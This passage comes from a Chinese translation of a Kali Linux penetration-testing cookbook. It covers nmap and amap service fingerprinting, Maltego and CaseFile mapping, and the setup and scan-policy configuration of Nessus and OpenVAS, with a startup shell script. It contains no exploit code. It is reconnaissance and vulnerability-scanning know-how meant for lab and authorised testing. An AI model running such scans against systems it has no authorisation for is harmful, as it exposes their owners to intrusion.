317 | ### 操作步骤 318 | 319 | 让我们通过开始终端窗口来进行服务指纹识别: 320 | 321 | 1. 打开终端窗口并键入以下命令: 322 | 323 | ``` 324 | nmap -sV 192.168.10.200 325 | 326 | Starting Nmap 5.61TEST4 ( http://nmap.org ) at 2012-03-28 05:10 CDT 327 | Interesting ports on 192.168.10.200: 328 | Not shown: 1665 closed ports 329 | PORT STATE SERVICE VERSION 330 | 21/tcp open ftp Microsoft ftpd 5.0 331 | 25/tcp open smtp Microsoft ESMTP 5.0.2195.6713 332 | 80/tcp open http Microsoft IIS webserver 5.0 333 | 119/tcp open nntp Microsoft NNTP Service 5.0.2195.6702 (posting ok) 334 | 135/tcp open msrpc Microsoft Windows RPC 335 | 139/tcp open netbios-ssn 336 | 443/tcp open https? 337 | 445/tcp open microsoft-ds Microsoft Windows 2000 microsoft-ds 338 | 1025/tcp open mstask Microsoft mstask 339 | 1026/tcp open msrpc Microsoft Windows RPC 340 | 1027/tcp open msrpc Microsoft Windows RPC 341 | 1755/tcp open wms? 342 | 3372/tcp open msdtc? 343 | 6666/tcp open nsunicast Microsoft Windows Media Unicast Service (nsum.exe) 344 | 345 | MAC Address: 00:50:56:C6:00:01 (VMware) 346 | Service Info: Host: DC; OS: Windows 347 | 348 | Nmap finished: 1 IP address (1 host up) scanned in 63.311 seconds 349 | ``` 350 | 351 | 2. 我们也可以使用`amap`来识别运行在特定端口或端口范围内的应用,比如下面这个例子: 352 | 353 | ``` 354 | amap -bq 192.168.10.200 200-300 355 | 356 | amap v5.4 (www.thc.org/thc-amap) started at 2012-03-28 06:05:30 - MAPPING mode 357 | Protocol on 127.0.0.1:212/tcp matches ssh - banner: SSH-2.0- OpenSSH_3.9p1\n 358 | Protocol on 127.0.0.1:212/tcp matches ssh-openssh - banner: SSH-2.0-OpenSSH_3.9p1\n 359 | amap v5.0 finished at 2005-07-14 23:02:11 360 | ``` 361 | 362 | ## 4.7 Maltego 风险评估 363 | 364 | 在这个秘籍中,我们将要开始使用Maltego的特殊Kali版本,它可以在信息收集阶段协助我们,通过将获得的信息以易于理解的形式展示。Maltego是开源的风险评估工具,被设计用来演示网络上故障单点的复杂性和严重性。它也具有从内部和外部来源聚合信息来提供简洁的风险图表的能力。 365 | 366 | ### 准备 367 | 368 | 需要一个账号来使用Maltego。访问[https://www.paterva.com/web6/community/](https://www.paterva.com/web6/community/)来注册账号。 369 | 370 | ### 操作步骤 371 | 372 | 让我们从启动Maltego开始: 373 | 374 | 1. 访问` Applications | Kali Linux | Information Gathering | OSINT Analysis | maltego`来启动Maltego。窗口如下: 375 | 376 | ![](img/4-7-1.jpg) 377 | 378 | 2. 点击开始向导的`Next`来查看登录细节: 379 | 380 | ![](img/4-7-2.jpg) 381 | 382 | 3. 点击`Next`来验证我们的登录凭证。验证之后,点击`Next`以继续: 383 | 384 | 4. 选择transform seed设置,之后点击`Next`: 385 | 386 | ![](img/4-7-3.jpg) 387 | 388 | 5. 这个向导在跳到下个页面之前会执行多次操作。完成之后,选择`Open a blank graph and let me play around`并点击`Finish`。 389 | 390 | ![](img/4-7-4.jpg) 391 | 392 | 6. 最开始,将`Domain`实体从`Palette`组件拖放到`New Graph`标签页中。 393 | 394 | ![](img/4-7-5.jpg) 395 | 396 | 7. 通过点击创建的`Domain`实体来设置目标域名,并且编辑`Property View`中的`Domain Name`属性。 397 | 398 | ![](img/4-7-6.jpg) 399 | 400 | 8. 目标一旦设置好,我们就可以开始收集信息了。最开始,右键点击创建的`Domain`实体,并且选择`Run Transform`来显示可用的选项: 401 | 402 | ![](img/4-7-7.jpg) 403 | 404 | 9. 我们可以选择查找DNS名称,执行WHOIS查询,获得邮件地址,以及其它。或者我们还可以选择运行下面展示的全部转换。 405 | 406 | ![](img/4-7-8.jpg) 407 | 408 | 0. 我们甚至可以通过在链接的子节点上执行相同操作,来获得更多信息,直到我们找到了想要的信息。 409 | 410 | ### 工作原理 411 | 412 | 在这个秘籍中,我们使用Maltego来映射网络。Maltego是一个开源工具,用于信息收集和取证,由Paterva出品。我们通过完成开始向导来开始这个秘籍。之后我们使用`Domain`实体,通过将它拖到我们的图表中。最后,我们让Maltego完成我们的图表,并且查找各种来源来完成任务。Maltego十分有用,因为我们可以利用这一自动化的特性来快速收集目标信息,例如收集邮件地址、服务器的信息、执行WHOIS查询,以及其它。 413 | 414 | > 社区版只允许我们在信息收集中使用75个转换。Maltego的完整版需要$650。 415 | 416 | ### 更多 417 | 418 | 启用和禁用转换可以通过`Manage`标签栏下方的`Transform Manager`窗口设置: 419 | 420 | ![](img/4-7-9.jpg) 421 | 422 | 一些转换首先需要接受才可以使用。 423 | 424 | ## 4.8 映射网络 425 | 426 | 使用前面几个秘籍获得的信息,我们就可以创建该组织网络的蓝图。在这一章的最后一个·秘籍中,我们会了解如何使用Maltego CaseFile来可视化地编译和整理所获得的信息。 427 | 428 | `CaseFile`就像开发者的网站上那样,相当于不带转换的Maltego,但拥有大量特性。多数特性会在这个秘籍的“操作步骤”一节中展示。 429 | 430 | ### 操作步骤 431 | 432 | 当我们从启动CaseFile来开始: 433 | 434 | 1. 访问`Applications | Kali Linux | Reporting Tools | Evidence Management | casefile`来启动CaseFile。 435 | 436 | 2. 点击CaseFile应用菜单的`New`来创建新的图表: 437 | 438 | ![](img/4-8-1.jpg) 439 | 440 | 3. 就像Maltego那样,我们将每个实体从`Palette`组建拖放到图表标签页中。让我们从拖放`Domain`实体以及修改`Domain Name`属性来开始。 441 | 442 | ![](img/4-8-2.jpg) 443 | 444 | 4. 将鼠标指针置于实体上方,并且双击注解图标来添加注解。 445 | 446 | ![](img/4-8-3.jpg) 447 | 448 | 5. 让我们拖放另一个实体来记录目标的DNS信息: 449 | 450 | ![](img/4-8-4.jpg) 451 | 452 | 6. 链接实体只需要在实体之前拖出一条线: 453 | 454 | ![](img/4-8-5.jpg) 455 | 456 | 7. 按需自定义链接的属性: 457 | 458 | ![](img/4-8-6.jpg) 459 | 460 | 8. 重复步骤5~7来向图中添加更多关于该组织网络的信息。 461 | 462 | ![](img/4-8-7.jpg) 463 | 464 | 9. 最后我们保存了信息图表。图表的记录可以在之后打开和编辑,如果我们需要的话,和我们从已知目标获得更多信息的情况一样。 465 | 466 | ### 工作原理 467 | 468 | 在这个秘籍中,我们使用Maltego CaseFile来映射网络。CaseFile是个可视化的智能应用,可以用于判断数百个不同类型信息之间的关系和现实世界的联系。它的本质是离线情报,也就是说它是个手动的过程。我们以启动CaseFile并且创建新的图表作为开始。接下来,我们使用了收集到或已知的目标网络信息,并且开始向图表中添加组件来做一些设置。最后保存图表来结束这个秘籍。 469 | 470 | ### 更多 471 | 472 | 我们也可以加密图表记录,使它在公众眼里更安全。为了加密图表,需要在保存的时候选择`Encrypt (AES-128)`复选框并提供一个密码。 473 | -------------------------------------------------------------------------------- /ch5.md: -------------------------------------------------------------------------------- 1 | # 第五章 漏洞评估 2 | 3 | > 作者:Willie L. Pritchett, David De Smet 4 | 5 | > 译者:[飞龙](https://github.com/) 6 | 7 | > 协议:[CC BY-NC-SA 4.0](http://creativecommons.org/licenses/by-nc-sa/4.0/) 8 | 9 | ## 简介 10 | 11 | 扫描和识别目标的漏洞通常被渗透测试者看做无聊的任务之一。但是,它也是最重要的任务之一。这也应该被当做为你的家庭作业。就像在学校那样,家庭作业和小测验的设计目的是让你熟练通过考试。 12 | 13 | 漏洞识别需要你做一些作业。你会了解到目标上什么漏洞更易于利用,便于你发送威力更大的攻击。本质上,如果攻击者本身就是考试,那么漏洞识别就是你准备的机会。 14 | 15 | Nessus 和 OpenVAS 都可以扫描出目标上相似的漏洞。这些漏洞包括: 16 | 17 | + Linux 漏洞 18 | + Windows 漏洞 19 | + 本地安全检查 20 | + 网络服务漏洞 21 | 22 | ## 5.1 安装、配置和启动 Nessus 23 | 24 | 在这个秘籍中,我们会安装、配置和启动 Nessus。为了在我们所选的目标上定位漏洞,Nessus 的漏洞检测有两种版本:家庭版和专业版。 25 | 26 | + 家庭版:家庭版用于非商业/个人用途。以任何原因在专业环境下适用 Nessus 都需要使用专业版。 27 | + 上夜班:专业版用于商业用途。它包括支持和额外特性,例如无线的并发连接数,以及其它。如果你是一个顾问,需要对某个客户执行测试,专业版就是为你准备的。 28 | 29 | 对于我们的秘籍,我们假定你使用家庭版。 30 | 31 | ### 准备 32 | 33 | 需要满足下列需求: 34 | 35 | + 需要网络连接来完成这个秘籍。 36 | + Nessus 家庭版的有效许可证。 37 | 38 | ### 操作步骤 39 | 40 | 让我们开始安装、配置和启动 Nessus, 首先打开终端窗口: 41 | 42 | 1. 打开 Web 浏览器,访问这个网址:。 43 | 44 | 2. 在屏幕的左侧,`Download Nessus`的下面,选择`Linux`并且选择`Nessus-5.2.1-debian6_amd64.deb`(或新版本)。 45 | 46 | ![](img/5-1-1.jpg) 47 | 48 | 3. 将文件下载到本地根目录下。 49 | 50 | ![](img/5-1-2.jpg) 51 | 52 | 4. 打开终端窗口 53 | 54 | 5. 执行下列命令来安装 Nessus: 55 | 56 | ``` 57 | dpkg -i "Nessus-5.2.1-debian6_i386.deb" 58 | ``` 59 | 60 | 这个命令的输出展示在下面: 61 | 62 | ![](img/5-1-3.jpg) 63 | 64 | 6. Nessus 会安装到`/opt/nessus`目录下。 65 | 66 | 7. 一旦安装好了,你就能通过键入下列命令启动 Nessus: 67 | 68 | ``` 69 | /etc/init.d/nessusd start 70 | ``` 71 | 72 | > 在你启动 Nessus 之前,你需要先拥有注册码。你可以从“更多”一节中得到更多信息。 73 | 74 | 8. 通过执行下列命令,激活你的 Nessus: 75 | 76 | ``` 77 | /opt/nessus/bin/nessus-fetch --register XXXX-XXXX-XXXX-XXXX- XXXX 78 | ``` 79 | 80 | 这一步中,我们会从获取新的插件。 81 | 82 | > 取决于你的网络连接,这可能需要一到两分钟。 83 | 84 | 9. 现在在终端中键入下列命令: 85 | 86 | ``` 87 | /opt/nessus/sbin/nessus-adduser 88 | ``` 89 | 90 | 0. 在登录提示框中,输入用户的登录名称。 91 | 92 | 1. 输入两次密码。 93 | 94 | 2. 回答 Y(Yes),将用户设置为管理员。 95 | 96 | > 这一步只需要在第一次使用时操作。 97 | 98 | 3. 完成后,你可以通过键入以下命令来启动 Nessus(没有用户账户则不能工作)。 99 | 100 | 4. 在上登录 Nessus。 101 | 102 | > 如果你打算使用 Nessus,要记得从安装在你的主机上 ,或者虚拟机上的kali Linux 版本中访问。原因是,Nessus会基于所使用的机器来激活自己。如果你安装到优盘上了,在每次重启后你都需要重新激活你的版本。 103 | 104 | ### 工作原理 105 | 106 | 在这个秘籍中,我们以打开终端窗口,并通过仓库来安装 Nessus 开始。之后我们启动了 Nessus,并为了使用它安装了我们的证书。 107 | 108 | ### 更多 109 | 110 | 为了注册我们的 Nessus 副本,你必须拥有有效的许可证,它可以从获取。而且,Nessus 运行为浏览器中的 Flash,所以首次启动程序时,你必须为 Firefox 安装 Flash 插件。如果你在使用 Flash 时遇到了问题,访问来获得信息。 111 | 112 | ## 5.2 Nessus - 发现本地漏洞 113 | 114 | 现在我们已经安装并配置了 Nessus,我们将要执行第一次漏洞测试。Nessus 允许我们攻击很多种类的漏洞,它们取决于我们的版本。我们也需要评估的目标漏洞列表限制为针对我们想要获取的信息类型的漏洞。在这个秘籍中,我们将要以发现本地漏洞开始,这些漏洞针对我们当前使用的操作系统。 115 | 116 | ### 准备 117 | 118 | 为了完成这个秘籍,你将要测试你的本地系统(Kali Linux)。 119 | 120 | ### 操作步骤 121 | 122 | 让我们开始使用 Nessus 来发现本地漏洞,首先打开 Firefox 浏览器: 123 | 124 | 1. 在 登录 Nessus。 125 | 126 | 2. 访问` Policies`。 127 | 128 | 3. 点击`New Policy`。 129 | 130 | ![](img/5-2-1.jpg) 131 | 132 | 4. 在`General Settings`标签页,进行如下操作: 133 | 134 | 1. 在` Settings Type`中选择` Basic`。 135 | 136 | 2. 为你的扫描输入一个名称。我们选择了`Local Vulnerability Assessment`,但你可以选择想要的其它名称。 137 | 138 | 3. 有两个可见性的选择:‘ 139 | 140 | + `Shared`:其它用户可以利用这次扫描。 141 | 142 | + `Private`:这次扫描只能被你使用。 143 | 144 | 4. 其它项目保留默认。 145 | 146 | 5. 点击`Update`。 147 | 148 | 5. 在`Plugins`标签页中,选择`Disable All`并选择下列特定的漏洞: 149 | 150 | 1. `Ubuntu Local Security Checks `。 151 | 152 | 2. ` Default Unix Accounts`。 153 | 154 | ![](img/5-2-2.jpg) 155 | 156 | 6. 点击`Update`来保存新的策略。 157 | 158 | 7. 在主菜单中,点击`Scan Queue`菜单选项。 159 | 160 | 8. 点击`New Scan`按钮并进行如下操作: 161 | 162 | 1. 为你的扫描输入名称。如果你一次运行多个扫描,这会非常有用。这是区分当前运行的不同扫描的方式。 163 | 164 | 2. 输入扫描类型: 165 | 166 | + `Run Now`:默认开启,这个选项会立即运行扫描。 167 | 168 | + `Scehduled`:允许你选择日期和时间来运行扫描。 169 | 170 | + `Template`:将扫描设置为模板。 171 | 172 | 3. 选择扫描策略。这里,我们选择之前创建的`Local Vulnerabilities Assessment`策略。 173 | 174 | 4. 选择你的目标,包含下列要点: 175 | 176 | + 目标必须每行输入一个。 177 | 178 | + 你也可以在每行输入目标的范围。 179 | 180 | 5. 你也可以上传目标文件(如果有的话)或选择` Add Target IP Address`。 181 | 182 | 9. 点击`Run Scan`: 183 | 184 | ![](img/5-2-3.jpg) 185 | 186 | 0. 你会被要求确认,你的测试将会执行(取决于你选择了多少目标,以及要执行多少测试)。 187 | 188 | 1. 一旦完成了,你会收到一份报告。 189 | 190 | 2. 双击报告来分析下列要点(在`Results`标签页中): 191 | 192 | + 每个发现了漏洞的目标会被列出。 193 | 194 | + 双击 IP 地址来观察端口,和每个端口的问题。 195 | 196 | + 点击列下方的数字,来获得所发现的特定漏洞的列表。 197 | 198 | + 漏洞会详细列出。 199 | 200 | 3. 点击`Reports`主菜单中的` Download Report `。 201 | 202 | ## 5.3 Nessus - 发现网络漏洞 203 | 204 | Nessus 允许我们攻击很多种类的漏洞,它们取决于我们的版本。我们也需要评估的目标漏洞列表限制为针对我们想要获取的信息类型的漏洞。这个秘籍中,我们会配置 Nessus 来发现目标上的网络漏洞。这些漏洞针对主机或网络协议。 205 | 206 | ### 准备 207 | 208 | 为了完成这个秘籍,你需要被测试的虚拟机。 209 | 210 | + Windows XP 211 | + Windows 7 212 | + Metasploitable 2.0 213 | + 网络防火墙或路由 214 | + 任何其它 Linux 版本 215 | 216 | ### 操作步骤 217 | 218 | 让我们开始使用 Nessus 来发现本地漏洞,首先打开 Firefox 浏览器: 219 | 220 | 1. 在 登录 Nessus。 221 | 222 | 2. 访问` Policies`。 223 | 224 | 3. 点击`Add Policy`。 225 | 226 | ![](img/5-3-1.jpg) 227 | 228 | 4. 在`General`标签页,进行如下操作: 229 | 230 | 1. 为你的扫描输入一个名称。我们选择了`Internal Network Scan`,但你可以选择想要的其它名称。 231 | 232 | 2. 有两个可见性的选择:‘ 233 | 234 | + `Shared`:其它用户可以利用这次扫描。 235 | 236 | + `Private`:这次扫描只能被你使用。 237 | 238 | 3. 其它项目保留默认。 239 | 240 | 4. 点击`Update`。 241 | 242 | 5. 在`Plugins`标签页中,点击` Disable All `并选择下列特定的漏洞: 243 | 244 | + `CISCO` 245 | + `DNS` 246 | + `Default Unix Accounts` 247 | + `FTP` 248 | + `Firewalls` 249 | + `Gain a shell remotely` 250 | + `General` 251 | + `Netware` 252 | + `Peer-To-Peer File Sharing` 253 | + `Policy Compliance` 254 | + `Port Scanners` 255 | + `SCADA` 256 | + `SMTP Problems` 257 | + `SNMP` 258 | + `Service Detection` 259 | + `Settings` 260 | 261 | ![](img/5-3-2.jpg) 262 | 263 | 6. 点击`Update`来保存新的策略。 264 | 265 | 7. 在主菜单中,点击`Scan Queue`菜单选项。 266 | 267 | 8. 点击`New Scan`按钮并进行如下操作: 268 | 269 | 1. 为你的扫描输入名称。如果你一次运行多个扫描,这会非常有用。这是区分当前运行的不同扫描的方式。 270 | 271 | 2. 输入扫描类型: 272 | 273 | + `Run Now`:默认开启,这个选项会立即运行扫描。 274 | 275 | + `Scehduled`:允许你选择日期和时间来运行扫描。 276 | 277 | + `Template`:将扫描设置为模板。 278 | 279 | 3. 选择扫描策略。这里,我们选择之前创建的`Internal Network Scan`策略。 280 | 281 | 4. 选择你的目标,包含下列要点: 282 | 283 | + 目标必须每行输入一个。 284 | 285 | + 你也可以在每行输入目标的范围。 286 | 287 | 5. 你也可以上传目标文件(如果有的话)或选择` Add Target IP Address`。 288 | 289 | 9. 点击`Run Scan`: 290 | 291 | ![](img/5-3-3.jpg) 292 | 293 | 0. 你会被要求确认,你的测试将会执行(取决于你选择了多少目标,以及要执行多少测试)。 294 | 295 | ![](img/5-3-4.jpg) 296 | 297 | 1. 一旦完成了,你会收到一份报告,它在`Results`标签页中。 298 | 299 | 2. 双击报告来分析下列要点(在`Results`标签页中): 300 | 301 | + 每个发现了漏洞的目标会被列出。 302 | 303 | + 双击 IP 地址来观察端口,和每个端口的问题。 304 | 305 | + 点击列下方的数字,来获得所发现的特定问题/漏洞的列表。 306 | 307 | + 漏洞会详细列出。 308 | 309 | 3. 点击`Reports`主菜单中的` Download Report `。 310 | 311 | ## 5.4 发现 Linux 特定漏洞 312 | 313 | 在这个秘籍中,我们会使用 Nessus 探索如何发现 Linux 特定漏洞。这些漏洞针对网络上运行Linux的主机。 314 | 315 | ### 准备 316 | 317 | 为了完成这个秘籍,你需要被测试的虚拟机: 318 | 319 | + Metasploitable 2.0 320 | + 其它 Linux 版本 321 | 322 | ### 操作步骤 323 | 324 | 让我们开始使用 Nessus 来发现 Linux 特定漏洞,首先打开 Firefox 浏览器: 325 | 326 | 1. 在 登录 Nessus。 327 | 328 | 2. 访问` Policies`。 329 | 330 | 3. 点击`Add Policy`。 331 | 332 | ![](img/5-4-1.jpg) 333 | 334 | 4. 在`General Settings `标签页,进行如下操作: 335 | 336 | 1. 为你的扫描输入一个名称。我们选择了`Linux Vulnerability Scan`,但你可以选择想要的其它名称。 337 | 338 | 2. 有两个可见性的选择:‘ 339 | 340 | + `Shared`:其它用户可以利用这次扫描。 341 | 342 | + `Private`:这次扫描只能被你使用。 343 | 344 | 3. 其它项目保留默认。 345 | 346 | 5. 在`Plugins`标签页中,点击` Disable All `并选择下列特定的漏洞。当我们扫描可能在我们的 Linux 目标上运行的服务时,这份列表会变得很长: 347 | 348 | + `Backdoors` 349 | + `Brute Force Attacks` 350 | + `CentOS Local Security Checks` 351 | + `DNS` 352 | + `Debian Local Security Checks` 353 | + `Default Unix Accounts` 354 | + `Denial of Service` 355 | + `FTP` 356 | + `Fedora Local Security Checks` 357 | + `Firewalls` 358 | + `FreeBSD Local Security Checks` 359 | + `Gain a shell remotely` 360 | + `General` 361 | + `Gentoo Local Security Checks` 362 | + `HP-UX Local Security Checks` 363 | + `Mandriva Local Security Checks` 364 | + `Misc` 365 | + `Port Scanners` 366 | + `Red Hat Local Security Checks` 367 | + `SMTP Problems` 368 | + `SNMP` 369 | + `Scientific Linux Local Security Checks` 370 | + `Slackware Local Security Checks` 371 | + `Solaris Local Security Checks` 372 | + `SuSE Local Security Checks` 373 | + `Ubuntu Local Security Checks` 374 | + `Web Servers` 375 | 376 | ![](img/5-4-2.jpg) 377 | 378 | 6. 点击`Update`来保存新的策略。 379 | 380 | 7. 在主菜单中,点击`Scan Queue`菜单选项。 381 | 382 | 8. 点击`New Scan`按钮并进行如下操作: 383 | 384 | 1. 为你的扫描输入名称。如果你一次运行多个扫描,这会非常有用。这是区分当前运行的不同扫描的方式。 385 | 386 | 2. 输入扫描类型: 387 | 388 | + `Run Now`:默认开启,这个选项会立即运行扫描。 389 | 390 | + `Scehduled`:允许你选择日期和时间来运行扫描。 391 | 392 | + `Template`:将扫描设置为模板。 393 | 394 | 3. 选择扫描策略。这里,我们选择之前创建的`Linux Vulnerabilities Scan`策略。 395 | 396 | 4. 选择你的目标,包含下列要点: 397 | 398 | + 目标必须每行输入一个。 399 | 400 | + 你也可以在每行输入目标的范围。 401 | 402 | + 上传目标文件(如果有的话)或选择` Add Target IP Address`。 403 | 404 | 9. 点击`Launch Scan`: 405 | 406 | ![](img/5-4-3.jpg) 407 | 408 | 0. 你会被要求确认,你的测试将会执行(取决于你选择了多少目标,以及要执行多少测试)。 409 | 410 | 1. 一旦完成了,你会收到一份报告,它在 `Reports`标签页中。 411 | 412 | 2. 双击报告来分析下列要点: 413 | 414 | + 每个发现了漏洞的目标会被列出。 415 | 416 | + 双击 IP 地址来观察端口,和每个端口的问题。 417 | 418 | + 点击列下方的数字,来获得所发现的特定问题/漏洞的列表。 419 | 420 | + 漏洞会详细列出。 421 | 422 | 3. 点击`Reports`主菜单中的` Download Report `。 423 | 424 | ## 5.5 Nessus - 发现 Windows 特定的漏洞 425 | 426 | 在这个秘籍中,我们会使用 Nessus 探索如何发现 Windows 特定漏洞。这些漏洞针对网络上运行 Windows 的主机。 427 | 428 | ### 准备 429 | 430 | 为了完成秘籍,你需要被测试的虚拟机: 431 | 432 | + Windows XP 433 | + Windows 7 434 | 435 | ### 操作步骤 436 | 437 | 让我们开始使用 Nessus 发现 Windows 特定的漏洞,首先打开 Firefox 浏览器: 438 | 439 | 1. 在 登录 Nessus。 440 | 441 | 2. 访问` Policies`。 442 | 443 | 3. 点击`Add Policy`。 444 | 445 | ![](img/5-5-1.jpg) 446 | 447 | 4. 在`General Settings `标签页,进行如下操作: 448 | 449 | 1. 为你的扫描输入一个名称。我们选择了` Windows Vulnerability Scan`,但你可以选择想要的其它名称。 450 | 451 | 2. 有两个可见性的选择:‘ 452 | 453 | + `Shared`:其它用户可以利用这次扫描。 454 | 455 | + `Private`:这次扫描只能被你使用。 456 | 457 | 3. 其它项目保留默认。 458 | 459 | 4. 点击`Submit`。 460 | 461 | 5. 在`Plugins`标签页中,点击` Disable All `并选择下列特定的漏洞。它们可能出现在 Windows 系统中: 462 | 463 | + DNS Databases 464 | + Denial of Service 465 | + FTP 466 | + SMTP Problems 467 | + SNMP Settings 468 | + Web Servers 469 | + Windows 470 | + Windows: Microsoft Bulletins 471 | + Windows: User management 472 | 473 | ![](img/5-5-2.jpg) 474 | 475 | 6. 点击`Submit`来保存新的策略。 476 | 477 | 7. 在主菜单中,点击`Scan`菜单选项。 478 | 479 | 8. 点击`Add Scan`按钮并进行如下操作: 480 | 481 | 1. 为你的扫描输入名称。如果你一次运行多个扫描,这会非常有用。这是区分当前运行的不同扫描的方式。 482 | 483 | 2. 输入扫描类型: 484 | 485 | + `Run Now`:默认开启,这个选项会立即运行扫描。 486 | 487 | + `Scehduled`:允许你选择日期和时间来运行扫描。 488 | 489 | + `Template`:将扫描设置为模板。 490 | 491 | 3. 选择扫描策略。这里,我们选择之前创建的`Windows Vulnerabilities Scan`策略。 492 | 493 | 4. 选择你的目标,包含下列要点: 494 | 495 | + 目标必须每行输入一个。 496 | 497 | + 你也可以在每行输入目标的范围。 498 | 499 | + 上传目标文件(如果有的话)或选择` Add Target IP Address`。 500 | 501 | 9. 点击`Launch Scan`: 502 | 503 | ![](img/5-5-3.jpg) 504 | 505 | 0. 你会被要求确认,你的测试将会执行(取决于你选择了多少目标,以及要执行多少测试)。 506 | 507 | 1. 一旦完成了,你会收到一份报告,它在 `Reports`标签页中。 508 | 509 | 2. 双击报告来分析下列要点: 510 | 511 | + 每个发现了漏洞的目标会被列出。 512 | 513 | + 双击 IP 地址来观察端口,和每个端口的问题。 514 | 515 | + 点击列下方的数字,来获得所发现的特定问题/漏洞的列表。 516 | 517 | + 漏洞会详细列出。 518 | 519 | 3. 点击`Reports`主菜单中的` Download Report `。 520 | 521 | ## 5.6 安装、配置和启动 OpenVAS 522 | 523 | OpenVAS,即开放漏洞评估系统,是一个用于评估目标漏洞的杰出框架。它是 Nessus 项目的分支。不像 Nessus,OpenVAS提供了完全免费的版本。由于 OpenVAS 在Kali Linux中成为标准,我们将会以配置开始。 524 | 525 | ### 准备 526 | 527 | 需要网络连接。 528 | 529 | ### 操作步骤 530 | 531 | 让我们开始安装、配置和启动 OpenVAS,首先在终端窗口中访问它的路径。 532 | 533 | 1. OpenVAS 默认安装,并且只需要配置便于使用。 534 | 535 | 2. 在终端窗口中,将路径变为 OpenVAS 的路径: 536 | 537 | ``` 538 | cd /usr/share/openvas 539 | ``` 540 | 541 | 3. 执行下列命令: 542 | 543 | ``` 544 | openvas-mkcert 545 | ``` 546 | 547 | 这一步我们为 OpenVAS 创建了 SSL 证书。 548 | 549 | 1. 保留 CA 的默认生命周期。 550 | 551 | 2. 更新证书的生命周期,来匹配 CA 证书的天数:`1460`。 552 | 553 | 3. 输入国家或地区。 554 | 555 | 4. 输入州或省。 556 | 557 | 5. 组织名称保留默认。 558 | 559 | 6. 你会看到证书确认界面,之后按下回车键来退出。 560 | 561 | ![](img/5-6-1.jpg) 562 | 563 | 4. 执行下列命令: 564 | 565 | ``` 566 | openvas-nvt-sync 567 | ``` 568 | 569 | 这会将 OpenVAS NVT 数据库和当前的 NVT 版本同步。也会更新到最新的漏洞检查。 570 | 571 | ![](img/5-6-2.jpg) 572 | 573 | 5. 执行下列命令: 574 | 575 | ``` 576 | openvas-mkcert-client -n om -i 577 | openvasmd -rebuild 578 | ``` 579 | 580 | 这会生成客户证书并分别重构数据库。 581 | 582 | 6. 执行下列命令: 583 | 584 | ``` 585 | openvassd 586 | ``` 587 | 588 | 这会启动 OpenVAS 扫描器并加载所有插件(大约 26406 个),所以会花一些时间。 589 | 590 | 7. 执行下列命令: 591 | 592 | ``` 593 | openvasmd --rebuild 594 | openvasmd --backup 595 | ``` 596 | 597 | 8. 执行下列命令来创建你的管理员用户(我们使用 `openvasadmin`): 598 | 599 | ``` 600 | openvasad -c 'add_user' -n openvasadmin -r admin 601 | ``` 602 | 603 | ![](img/5-6-3.jpg) 604 | 605 | 9. 执行下列命令: 606 | 607 | ``` 608 | openvas-adduser 609 | ``` 610 | 611 | 这会让你创建普通用户: 612 | 613 | 1. 输入登录名称。 614 | 615 | 2. 在校验请求上按下回车键(这会自动选择密码)。 616 | 617 | 3. 输入两次密码。 618 | 619 | 4. 对于规则,按下`Ctrl + D`。 620 | 621 | 5. 按下`Y`来添加用户。 622 | 623 | ![](img/5-6-4.jpg) 624 | 625 | 0. 执行下列命令来配置 OpenVAS 的交互端口: 626 | 627 | ``` 628 | openvasmd -p 9390 -a 127.0.0.1 629 | openvasad -a 127.0.0.1 -p 9393 630 | gsad --http-only --listen=127.0.0.1 -p 9392 631 | ``` 632 | 633 | > 9392 是用于 Web 浏览器的推荐端口,但是你可以自己选择。 634 | 635 | 1. 访问,在你的浏览器中查看 OpenVAS 的 Web 界面。 636 | 637 | ![](img/5-6-5.jpg) 638 | 639 | ### 工作原理 640 | 641 | 在这个秘籍中,我们以打开终端窗口并通过仓库安装 OpenVAS 来开始。之后我们创建了一个证书并安装我们的插件数据库。然后,我们创建了一个管理员和一个普通用户账号。最后,我们启动了 OpenVAS 的 Web 界面并展示了登录界面。 642 | 643 | > 每次你在 OpenVAS 中执行操作的时候,你都需要重建数据库。 644 | 645 | ### 更多 646 | 647 | 这一节展示了除了启动 OpenVAS 之外的一些附加信息。 648 | 649 | **编写 SSH 脚本来启动 OpenVAS** 650 | 651 | 每次你打算启动 OpenVAS 的时候,你需要: 652 | 653 | 1. 同步 NVT 版本(这非常不错,因为这些项目会在新漏洞发现的时候更改)。 654 | 655 | 2. 启动 OpenVAS 扫描器。 656 | 657 | 3. 重建数据库。 658 | 659 | 4. 备份数据库。 660 | 661 | 5. 配置你的端口。 662 | 663 | 为了节省时间,下面的简单 Bash 脚本可以让你启动 OpenVAS。把文件保存为` OpenVAS.sh`,并放在你的`/root`文件夹中: 664 | 665 | ```sh 666 | #!/bin/bash 667 | openvas-nvt-sync 668 | openvassd 669 | openvasmd --rebuild 670 | openvasmd --backup 671 | openvasmd -p 9390 -a 127.0.0.1 672 | openvasad -a 127.0.0.1 -p 9393 673 | gsad --http-only --listen=127.0.0.1 -p 9392 674 | ``` 675 | 676 | **使用 OpenVAS 桌面** 677 | 678 | 你可以选择通过 OpenVAS 桌面来执行相同步骤。OpenVAS 桌面是一个 GUI 应用。为了启动这个应用: 679 | 680 | 1. 在 Kali Linux 的桌面的启动菜单中,访问`Applications | Kali Linux | Vulnerability Assessment | Vulnerability Scanners | OpenVAS | Start GreenBone Security Desktop`,就像下面展示的那样: 681 | 682 | ![](img/5-6-6.jpg) 683 | 684 | 2. 将服务器地址输入为`127.0.0.1`。 685 | 686 | 3. 输入你的用户名。 687 | 688 | 4. 输入你的密码。 689 | 690 | 5. 点击`Log in`按钮。 691 | 692 | ## 5.7 OpenVAS - 发现本地漏洞 693 | 694 | OpenVAS 允许我们攻击很多种类的漏洞,它们取决于我们的版本。我们也需要评估的目标漏洞列表限制为针对我们想要获取的信息类型的漏洞。在这个秘籍中,我们将要使用 OpenVAS 扫描目标上的本地漏洞,这些漏洞针对我们当前的本地主机。 695 | 696 | ### 操作步骤 697 | 698 | 让我们以使用 OpenVAS 发现本地漏洞开始,首先打开 Firefox 浏览器: 699 | 700 | 1. 访问并登陆 OpenVAS。 701 | 702 | 2. 访问` Configuration | Scan Configs`。 703 | 704 | ![](img/5-7-1.jpg) 705 | 706 | 3. 输入扫描的名称。这个秘籍中,我们使用` Local Vulnerabilities`。 707 | 708 | 4. 我们选择`Empty, static and fast`选项。这个选项可以让我们从零开始并创建我们自己的配置。 709 | 710 | 5. 点击` Create Scan Config`: 711 | 712 | ![](img/5-7-2.jpg) 713 | 714 | 6. 我们现在打算编辑我们的扫描配置。点击` Local Vulnerabilities`旁边的扳手图标。 715 | 716 | ![](img/5-7-3.jpg) 717 | 718 | 7. 